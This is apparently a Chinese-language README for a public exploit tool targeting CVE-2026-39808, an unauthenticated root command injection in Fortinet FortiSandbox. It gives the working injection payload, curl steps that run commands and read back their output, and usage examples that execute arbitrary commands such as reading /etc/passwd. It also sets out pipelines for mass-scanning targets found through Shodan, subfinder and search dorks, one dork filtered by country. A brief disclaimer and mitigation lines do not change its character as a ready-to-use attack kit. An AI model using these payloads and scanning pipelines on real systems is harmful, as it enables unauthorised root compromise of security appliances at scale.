Fortinet FortiSandbox 中未经身份验证的 root 权限操作系统命令注入
漏洞 • 安装 • 用法 • 工作原理 • 管道集成 • Shodan 搜索语法 • 免责声明
CVE-2026-39808 是 Fortinet FortiSandbox 中的一个严重未经身份验证的操作系统命令注入漏洞。/fortisandbox/job-detail/tracer-behavior API 端点未能对 jid 参数进行清理,允许攻击者在无需任何身份验证的情况下注入以 root 权限执行的任意操作系统命令。
tracer-behavior 端点中的 jid 参数未经清理直接传递给系统命令。攻击者可以利用管道符(|)突破预期的命令上下文并执行任意命令:
GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1
输出被写入 /web/ng/out.txt,该文件可通过 Web 服务器上的 /ng/out.txt 访问——为盲命令注入提供了一种便捷的回读机制。
零依赖。仅需 Python 3.7+ 标准库。
git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py
# 验证目标是否存在漏洞(使用金丝雀检测机制)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com
# 在目标上执行特定命令
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"
# 仅检查是否存在漏洞,不执行 --cmd
python3 fortisandbox_rce.py -u https://target.com --verify-only
python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080
python3 fortisandbox_rce.py -u https://target.com -o report.json
# 从 URL 列表读取
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json
# subfinder → httpx → 扫描器
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin
# Shodan → 扫描器
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
sed 's/^/https:\/\//' | httpx -silent | \
python3 fortisandbox_rce.py --stdin --verify-only -o results.json
usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
[--proxy PROXY] [--timeout TIMEOUT]
[--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]
Options:
-u, --url URL 目标 URL
--stdin 从标准输入读取 URL(管道模式)
--cmd CMD 要执行的操作系统命令(默认:id)
--verify-only 仅验证漏洞,不执行 --cmd
--proxy PROXY HTTP 代理(例如:http://127.0.0.1:8080)
--timeout TIMEOUT HTTP 超时时间(秒)(默认:15)
--rate-limit RATE_LIMIT 目标之间的延迟(毫秒)(默认:0)
-o, --output FILE 输出 JSON 报告文件
--no-banner 隐藏横幅
该扫描器采用 5 步验证流程,并具有严格的误报防护机制:
步骤 1 → 检测 FortiSandbox(标题/响应头指纹识别)
步骤 2 → 检查易受攻击的端点是否存在
步骤 3 → 通过命令注入注入唯一金丝雀字符串
步骤 4 → 读取 /ng/out.txt 并验证金丝雀(严格的纯文本验证)
步骤 5 → 执行用户命令 + 清理
扫描器实现了多层验证以消除误报:
text/htmlid 输出正则 — 严格的 uid=\d+(\w+) 模式匹配,并带有大小合理性检查(<1000 字节)/ng 后缀,防止双重路径问题 ╔══════════════════════════════════════════════════════════╗
║ FortiSandbox RCE Scanner v1.0 — CVE-2026-39808 ║
║ Unauthenticated Command Injection (root) ║
╚══════════════════════════════════════════════════════════╝
mitsec | @ynsmroztas
┌──────────────────────────────────────────────────────────┐
│ Target: https://fortisandbox.example.com │
└──────────────────────────────────────────────────────────┘
✓ FortiSandbox detected!
▸ Checking endpoint: /fortisandbox/job-detail/tracer-behavior
▸ Endpoint status: 200 | Content-Type: text/html
▸ Injecting canary: mitsec_a8k3m2x1
▸ Reading output: https://fortisandbox.example.com/ng/out.txt
CRITICAL 🔥 VULNERABLE — CVE-2026-39808 CONFIRMED!
CRITICAL Target: https://fortisandbox.example.com
✓ Canary 'mitsec_a8k3m2x1' verified in output (clean plain text)
──────────────────────────────────────────────────────────
Command Output: id
──────────────────────────────────────────────────────────
│ uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────────────────
✓ Output file cleaned up
┌──────────────────────────────────────────────────────────┐
│ Target: https://patched.example.com │
└──────────────────────────────────────────────────────────┘
✓ FortiSandbox detected!
▸ Checking endpoint: /fortisandbox/job-detail/tracer-behavior
✗ Endpoint returned 404 — not vulnerable or patched
▸ Reading output: https://target.com/ng/out.txt
⚠ Output URL returns HTML page — this is the Angular SPA, NOT command output
▸ Content-Type: text/html
▸ This is a false positive — /ng/out.txt serves the SPA index.html
▸ Target does not appear vulnerable
{
"scanner": "fortisandbox_rce",
"version": "1.0",
"cve": "CVE-2026-39808",
"scan_date": "2026-04-22T10:30:00+00:00",
"total_targets": 5,
"vulnerable": 1,
"results": [
{
"target": "https://fortisandbox.example.com",
"vulnerable": true,
"details": {
"is_fortisandbox": true,
"server": "Apache",
"canary": "mitsec_a8k3m2x1",
"verification": "canary_match",
"command": "id",
"output": "uid=0(root) gid=0(root) groups=0(root)"
},
"timestamp": "2026-04-22T10:30:00+00:00"
}
]
}
扫描器将存在漏洞的 URL 输出到 stdout(所有其他输出发送到 stderr),使其完全兼容管道操作:
# 查找存在漏洞的目标并保存
subfinder -d corp.com -silent | httpx -silent | \
python3 fortisandbox_rce.py --stdin --verify-only 2>/dev/null | \
tee vulnerable_fortisandbox.txt
# 与 nuclei 链式使用进行进一步测试
cat vulnerable_fortisandbox.txt | nuclei -t cves/
# 带速率限制的静默批量扫描
cat shodan_results.txt | \
python3 fortisandbox_rce.py --stdin --verify-only --rate-limit 1000 --no-banner -o report.json
title:"FortiSandbox"
title:"FortiSandbox - Please login"
http.html:"FortiSandbox" port:443
"FortiSandbox" ssl:"Fortinet"
http.favicon.hash:-1222072778
Censys:
services.http.response.html_title:"FortiSandbox"
FOFA:
title="FortiSandbox - Please login"
title="FortiSandbox" && country="TR"
Google 搜索语法:
intitle:"FortiSandbox - Please login"
如果您更倾向于使用 curl 手动验证:
# 步骤 1:注入命令
curl -s -k --get "https://TARGET/fortisandbox/job-detail/tracer-behavior" \
--data-urlencode "jid=|(id > /web/ng/out.txt)|"
# 步骤 2:读取输出
curl -s -k "https://TARGET/ng/out.txt"
# 预期输出:uid=0(root) gid=0(root) groups=0(root)
/fortisandbox/job-detail/ 端点的外部访问jid 参数值| 日期 | 事件 |
|---|---|
| 2025 年 11 月 | 发现漏洞 |
| 2026 年 4 月 | 发布 CVE-2026-39808 |
| 2026 年 4 月 | 在 FortiSandbox 4.4.9 中修复 |
本工具仅供授权安全测试和教育目的使用。未经授权访问计算机系统属于违法行为。请务必在测试前获得适当的书面授权。作者不对滥用本工具承担任何责任。
mitsec — @ynsmroztas
如果此工具对您有帮助,请考虑给它一个 ⭐
| 详情 | 值 |
|---|
| CVE ID | CVE-2026-39808 |
| CVSS 评分 | 9.8(严重) |
| 攻击向量 | 网络 |
| 身份验证 | 无 |
| 权限 | Root |
| 受影响版本 | FortiSandbox < 4.4.9 |
| 修复版本 | 4.4.9 及以上 |
| 安全公告 | FG-IR-25-325 |